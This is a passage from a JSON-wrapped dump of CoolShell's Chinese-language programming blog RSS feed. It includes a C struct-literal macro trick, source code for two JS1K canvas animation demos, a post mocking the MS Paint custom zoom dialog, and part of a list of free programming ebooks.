42</p></blockquote>\n<p>虽然，这样的用法并不好，但是你可以从另外一个方面了解一下这世上对C稀奇古怪的用法。 如果你把宏展开后，你就明的为什么了。下面是宏展开的样子：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n  myfunc((struct mystru){&quot;three&quot;, 3});\n  myfunc((struct mystru){&quot;hello&quot;});\n  myfunc((struct mystru){.name = &quot;zero&quot;});\n  myfunc((struct mystru){.number = argc, .name = &quot;argc&quot;,});\n  myfunc((struct mystru){.number = 42});\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2801.html\">C技巧：结构体参数转成不定参数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2801.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>18</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-27.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 27 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=27\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Wed, 20 Oct 2010 14:57:56 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>JS1K 演示</title>\n\t\t<link>https://coolshell.cn/articles/2785.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2785.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 09 Aug 2010 05:51:37 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[JS1K]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2785</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站发布过很多和Javascript相关的东西，如：《又一个Javascript试验田》、《一个Windows 3.1的Web网站》、《哥是玩程序的》。今天...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2785.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2785.html\">JS1K 演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站发布过很多和Javascript相关的东西，如：《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2276.html\">又一个Javascript试验田</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2065.html\">一个Windows 3.1的Web网站</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1932.html\">哥是玩程序的</a>》。今天要介绍另外一组，先看下面的这个Javascript特效（在IE下无法正常工作），你可以用Chrome查看，很炫。不过最炫的是其源码，非常的简单，不超过1K。如果你要知道这个效果的原理，这里有一个<a href=\"http://acko.net/blog/js1k-demo-the-making-of\" target=\"_blank\">教程</a>。这里有个网站：<a href=\"http://js1k.com/\" target=\"_blank\">JS1K Demo</a>， 这个站上主要收集一些Javascript不大于1K的程序。</p>\n<p align=center><iframe loading=\"lazy\" id=\"1kjs\" frameborder=\"0\" style=\"background:#000;border:0\" width=\"510\" height=\"320\" src=\"http://acko.net/files/1022b.html\"></iframe><br /> <br />\n<button id=\"1kjs-stop\" onclick=\"document.getElementById('1kjs').src='about:blank';document.getElementById('1kjs-stop').style.display='none';document.getElementById('1kjs-start').style.display='block';\">停止演示</button><button style=\"display: none\" id=\"1kjs-start\" onclick=\"document.getElementById('1kjs').src='http://acko.net/files/1022b.html';document.getElementById('1kjs-start').style.display='none';document.getElementById('1kjs-stop').style.display='block';\">开始演示</button></p>\n<p>下面是其源码：<br />\n<span id=\"more-2785\"></span></p>\n<p>[javascript]<br />\nf=Math; _=document.body; _.style.background=&quot;#000&quot;; e=_.children[0]; e.width=w=innerWidth-10; e.height=h=innerHeight-25; g=e.getContext(&quot;2d&quot;); t=w/h; with(g){scale(w*0.5/t,h*0.5); translate(1*t,1); globalCompositeOperation=&quot;lighter&quot;; lw=45/h; $=p=m=q=r=d=0; g=u=-8; setInterval(function(){if(&#8211;d&lt; 0){h=f.random; e=h()*18-9; r2=h()*18-9; u2=h()*18-9; d=70}function A(C,B){return C+(B-C)*0.04}p=A(p,e); m=A(m,r2); g=A(g,u2); q=A(q,p); r=A(r,m); u=A(u,g); a=f.atan2(q,-u*2); b=f.atan2(r*2,f.sqrt(u*u+q*q)); $+=0.05; clearRect(-t,-1,2*t,2); for(i=12; i; &#8211;i){v=0; for(j=45; j; ){c=f.cos; s=f.sin; j&#8211;; w=$-j*0.03-i*3; A=f.sqrt(j+0.2); n=c(w+s(w*0.31))*2+s(w*0.83)*3+w*0.02; o=s(w*0.7)-c(3+w*0.23)*3; x=c(n)*c(o)*A-q; y=s(n)*c(o)*A-r; z=s(o)*A-u; n=c(a); o=s(a); k=x*n+z*o; h=z*n-x*o; n=c(b); o=s(b); l=y*n+h*o; z=h*n-y*o; lineTo(k/z,l/z); lineWidth=lw*(2+!j)/z; h=f.round; w=h(60-j)*(1+!j+f.max(0,s($*6-j/8)-0.95)*70); strokeStyle=&quot;rgb(&quot;+h(w*(!j+s(i+$*0.15)+1))+&quot;,&quot;+h(!j+w*(s(i-1)+1))+&quot;,&quot;+h(!j+w*(s(i-1.3)+1))+&quot;)&quot;; if(z&gt; 0.1){v++&amp;&amp;stroke()}else{v=0}beginPath(); moveTo(k/z,l/z)}}},33)}<br />\n[/javascript]</p>\n<p>下面，让我们再看一个只有1023字节的3D演示，同样，只有在Chrome中才能看到最佳效果。</p>\n<p align=center><iframe loading=\"lazy\" id=\"1kjs1\" frameborder=\"0\" style=\"background:#000;border:0\" width=\"510\" height=\"320\" src=\"http://js1k.com/pleaseDontHotlinkMe/15\"></iframe><br /> <br />\n<button id=\"1kjs-stop1\" onclick=\"document.getElementById('1kjs1').src='about:blank';document.getElementById('1kjs-stop1').style.display='none';document.getElementById('1kjs-start1').style.display='block';\">停止演示</button><button style=\"display: none\" id=\"1kjs-start1\" onclick=\"document.getElementById('1kjs1').src='http://js1k.com/pleaseDontHotlinkMe/15';document.getElementById('1kjs-start1').style.display='none';document.getElementById('1kjs-stop1').style.display='block';\">开始演示</button></p>\n<p>其源代码如下：</p>\n<p>[javascript]<br />\nwith(document.body.style){margin=&quot;0px&quot;;overflow=&quot;hidden&quot;;}var w=window.innerWidth;var h=window.innerHeight;var ca=document.getElementById(&quot;c&quot;);ca.width=w;ca.height=h;var c=ca.getContext(&quot;2d&quot;);m=Math;fs=m.sin;fc=m.cos;fm=m.max;setInterval(d,30);function p(x,y,z){return{x:x,y:y,z:z};}function s(a,z){r=w/10;R=w/3;b=-20*fc(a*5+t);return p(w/2+(R*fc(a)+r*fs(z+2*t))/z+fc(a)*b,h/2+(R*fs(a))/z+fs(a)*b);}function q(a,da,z,dz){var v=[s(a,z),s(a+da,z),s(a+da,z+dz),s(a,z+dz)];c.beginPath();c.moveTo(v[0].x,v[0].y);for(i in v)c.lineTo(v[i].x,v[i].y);c.fill();}var Z=-0.20;var t=0;function d(){t+=1/30.0;c.fillStyle=&quot;#000&quot;;c.fillRect(0,0,w,h);c.fillStyle=&quot;#f00&quot;;var n=30;var a=0;var da=2*Math.PI/n;var dz=0.25;for(var z=Z+8;z&gt;Z;z-=dz){for(var i=0;i&lt;n;i++){fog=1/(fm((z+0.7)-3,1));if(z&lt;=2){fog=fm(0,z/2*z/2);}var k=(205*(fog*Math.abs(fs(i/n*2*3.14+t))))&gt;&gt;0;k*=(0.55+0.45*fc((i/n+0.25)*Math.PI*5));k=k&gt;&gt;0;c.fillStyle=&quot;rgb(&quot;+k+&quot;,&quot;+k+&quot;,&quot;+k+&quot;)&quot;;q(a,da,z,dz);if(i%3==0){c.fillStyle=&quot;#000&quot;;q(a,da/10,z,dz);}a+=da;}}Z-=0.05;if(Z&lt;=dz)Z+=dz;}<br />\n[/javascript]</p>\n<p>你可以前往一看更多的<a href=\"http://js1k.com/demos\" target=\"_blank\">演示</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3429.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/arbol_0-150x150.jpg\" alt=\"程序员的圣诞节\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3429.html\" class=\"wp_rp_title\">程序员的圣诞节</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2785.html\">JS1K 演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2785.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>15</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>微软最囧的UI</title>\n\t\t<link>https://coolshell.cn/articles/2792.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2792.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 09 Aug 2010 00:36:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Paint]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2792</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前，本站介绍过一些Ugly的UI，今天我们来看看微软Windows里的“画笔”程序，看看微软的某个功能干了什么样的囧事。 我打开了一个比较大的图片，有点太大了...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2792.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2792.html\">微软最囧的UI</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前，本站介绍过一些<a href=\"https://coolshell.cn/articles/1907.html\" target=\"_blank\">Ugly的UI</a>，今天我们来看看微软Windows里的“画笔”程序，看看微软的某个功能干了什么样的囧事。</p>\n<p>我打开了一个比较大的图片，有点太大了，我想缩小一下看看，很好，微软在菜单项里供了Zoom选项，其中有一个Custom（自定义），挺不错的。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2793\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/ms-paint-custom-menu.jpg\" alt=\"\" width=\"456\" height=\"246\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/08/ms-paint-custom-menu.jpg 456w, https://coolshell.cn/wp-content/uploads/2010/08/ms-paint-custom-menu-300x162.jpg 300w\" sizes=\"(max-width: 456px) 100vw, 456px\" /></p>\n<p>但是，当我看到这个自定义的对话框后，我彻底无语了，大哥你是怎么想的啊……</p>\n<p><span id=\"more-2792\"></span></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2794\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/ms-paint-custom-diag.jpg\" alt=\"\" width=\"316\" height=\"168\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/08/ms-paint-custom-diag.jpg 316w, https://coolshell.cn/wp-content/uploads/2010/08/ms-paint-custom-diag-300x159.jpg 300w\" sizes=\"(max-width: 316px) 100vw, 316px\" /><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/3207.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg\" alt=\"30+ Web下拉菜单\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3207.html\" class=\"wp_rp_title\">30+ Web下拉菜单</a></li><li ><a href=\"https://coolshell.cn/articles/3142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/UI-150x150.gif\" alt=\"用户界面和用户体验的差别\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3142.html\" class=\"wp_rp_title\">用户界面和用户体验的差别</a></li><li ><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/W_600-150x150.jpg\" alt=\"Windows的达尔文进化图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_title\">Windows的达尔文进化图</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2792.html\">微软最囧的UI</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2792.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>34</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>免费电子书列表</title>\n\t\t<link>https://coolshell.cn/articles/2775.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2775.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Wed, 04 Aug 2010 10:37:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[book]]></category>\n\t\t<category><![CDATA[Cheat Sheet]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2775</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在StackOverflow上，有人要打算收集个免费电子书的列表，结果很快就有人分享了一个列表。很不错，我就转过来了。原帖的地址在http://stackove...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2775.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2775.html\">免费电子书列表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在StackOverflow上，有人要打算收集个免费电子书的列表，结果很快就有人分享了一个列表。很不错，我就转过来了。原帖的地址在<a href=\"http://stackoverflow.com/questions/194812/list-of-freely-available-programming-books\">http://stackoverflow.com/questions/194812/list-of-freely-available-programming-books</a> （注意：有些连接可能会被墙掉）</p>\n<p>List of Free Programming books (compiled):  <strong>Meta-List</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.htdp.org/2003-09-26/Book/\">How to Design Programs: An Introduction to Computing and Programming</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.coderholic.com/25-free-computer-science-books/\">25 Free Computer Science Ebooks</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.freetechbooks.com/\">Free Tech Books</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.mindviewinc.com/Books/\">MindView Inc</a> (List of Free Books)</li>\n<li><a rel=\"nofollow\" href=\"http://en.wikibooks.org/wiki/Category%3aProgramming\">Wikibooks: Programming</a></li>\n<li><a rel=\"nofollow\" href=\"http://en.wikibooks.org/wiki/Category%3aProgramming\"></a><a rel=\"nofollow\" href=\"http://refcardz.dzone.com/\">Cheat Sheets (Free)</a></li>\n<li><a rel=\"nofollow\" href=\"http://blogs.msdn.com/wriju/archive/2009/01/07/free-ebooks-at-codeplex.aspx\">CodePlex List of Free E-Books</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.booktraining.net/\">Book Training &#8211; On Video!</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.spmn.com/products_guidebooks.html\">Sofware Program Managers Network &#8211; Free EBooks</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.linbai.info/\">EBook Share @ linbai.info</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.freebooksclub.net/\">FreeBooksClub.Net</a></li>\n<li><a rel=\"nofollow\" href=\"http://theassayer.org/\">Theassayer.org</a> (Free Online books)</li>\n<li><a rel=\"nofollow\" href=\"http://oreilly.com/openbook/\">O&#8217;Reilly&#8217;s Open Books Project</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.techbooksforfree.com/\">TechBooksForFree.com</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.galileocomputing.de/katalog/openbook\">Galileo Computing</a> (Free Downloadable German Books)</li>\n</ul>\n<p><span id=\"more-2775\"></span><strong>Graphics Programming</strong></p>\n<ul>\n<li>Nvidia <a rel=\"nofollow\" href=\"http://http.developer.nvidia.com/GPUGems/gpugems_part01.html\">GPU Gems 1</a></li>\n<li>Nvidia <a rel=\"nofollow\" href=\"http://http.developer.nvidia.com/GPUGems2/gpugems2_part01.html\">GPU Gems 2</a></li>\n<li>Nvidia <a rel=\"nofollow\" href=\"http://http.developer.nvidia.com/GPUGems3/gpugems3_part01.html\">GPU Gems 3</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.gamedev.net/reference/articles/article1698.asp\">Graphics Programming Black Book</a></li>\n</ul>\n<p><strong>Language Agnostic</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://codebetter.com/files/folders/codebetter_downloads/entry179694.aspx\">Foundations of Programming</a> by Karl Seguin</li>\n<li><a rel=\"nofollow\" href=\"http://scpd.stanford.edu/knuth/index.jsp\">Computer Musings</a> (Lectures by Donald Knuth)</li>\n<li><a rel=\"nofollow\" href=\"http://www.catb.org/esr/writings/cathedral-bazaar/\">The Cathedral and the Bazaar</a> (Introduction to Open Source Software)</li>\n<li><a rel=\"nofollow\" href=\"http://www.codeplex.com/AppArchGuide\">Patterns and Practices: Application Architecture Guide 2.0</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.cl.cam.ac.uk/~rja14/book.html\">Security Engineering</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.dspguide.com/\">Digital Signal Processing For Engineers and Scientists</a></li>\n<li><a rel=\"nofollow\" href=\"http://gettingreal.37signals.com/\">Getting Real</a> (Courtesy <a rel=\"nofollow\" href=\"http://37signals.com/\">37 Signals</a>)</li>\n<li><a rel=\"nofollow\" href=\"http://mitpress.mit.edu/sicp/\">Structure and Interpretation of Computer Programs</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.infoq.com/minibooks/domain-driven-design-quickly\">Domain Driven Design Quickly</a></li>\n<li><a rel=\"nofollow\" href=\"http://homepage.mac.com/s_lott/books/oodesign.html\">OO Design</a></li>\n<li><a rel=\"nofollow\" href=\"http://smartbear.com/codecollab-code-review-book.php\">Best Kept Secrets of Peer Code Review</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.scribd.com/doc/7181362/NASA-Software-Measurement-Guidebook\">NASA Software Measurement Handbook</a></li>\n<li><a rel=\"nofollow\" href=\"http://homepages.inf.ed.ac.uk/dts/pm/Papers/nasa-manage.pdf\">NASA Manager Handbook for Software Development</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.cl.cam.ac.uk/teaching/Lectures/funprog-jrh-1996/\">Introduction to Functional Programming</a> &#8211; Class Lectures and Slides</li>\n<li><a rel=\"nofollow\" href=\"http://www.htdp.org/\">How to Design Programs</a> &#8211; MIT Press</li>\n<li><a rel=\"nofollow\" href=\"http://www.swebok.org/stoneman/trial_1_00.html\">Guide to the Software Engineering Body of Knowledge</a> &#8211; IEEE Computer Society Press</li>\n<li><a rel=\"nofollow\" href=\"http://ocw.mit.edu/OcwWeb/web/home/home/index.htm\">Online Course Materials</a> &#8211; MIT</li>\n<li><a rel=\"nofollow\" href=\"http://www.cs.berkeley.edu/~vazirani/algorithms.html\">Algorithms</a> (Draft Copy)</li>\n<li><a rel=\"nofollow\" href=\"http://dotnetslackers.com/projects/Data-Structures-And-Algorithms/\">Data Structures and Algorithms</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.agileskills.org/download.html.en\">Essential Skills for Agile Development</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.cs.brown.edu/~sk/Publications/Books/ProgLangs/\">Programming Languages: Application and Interpretation</a></li>\n<li><a rel=\"nofollow\" href=\"http://pine.fm/LearnToProgram/\">Learn to Program</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.dreamsongs.com/Files/PatternsOfSoftware.pdf\">Patterns of Software: Tales from the Software Community</a></li>\n<li><a rel=\"nofollow\" 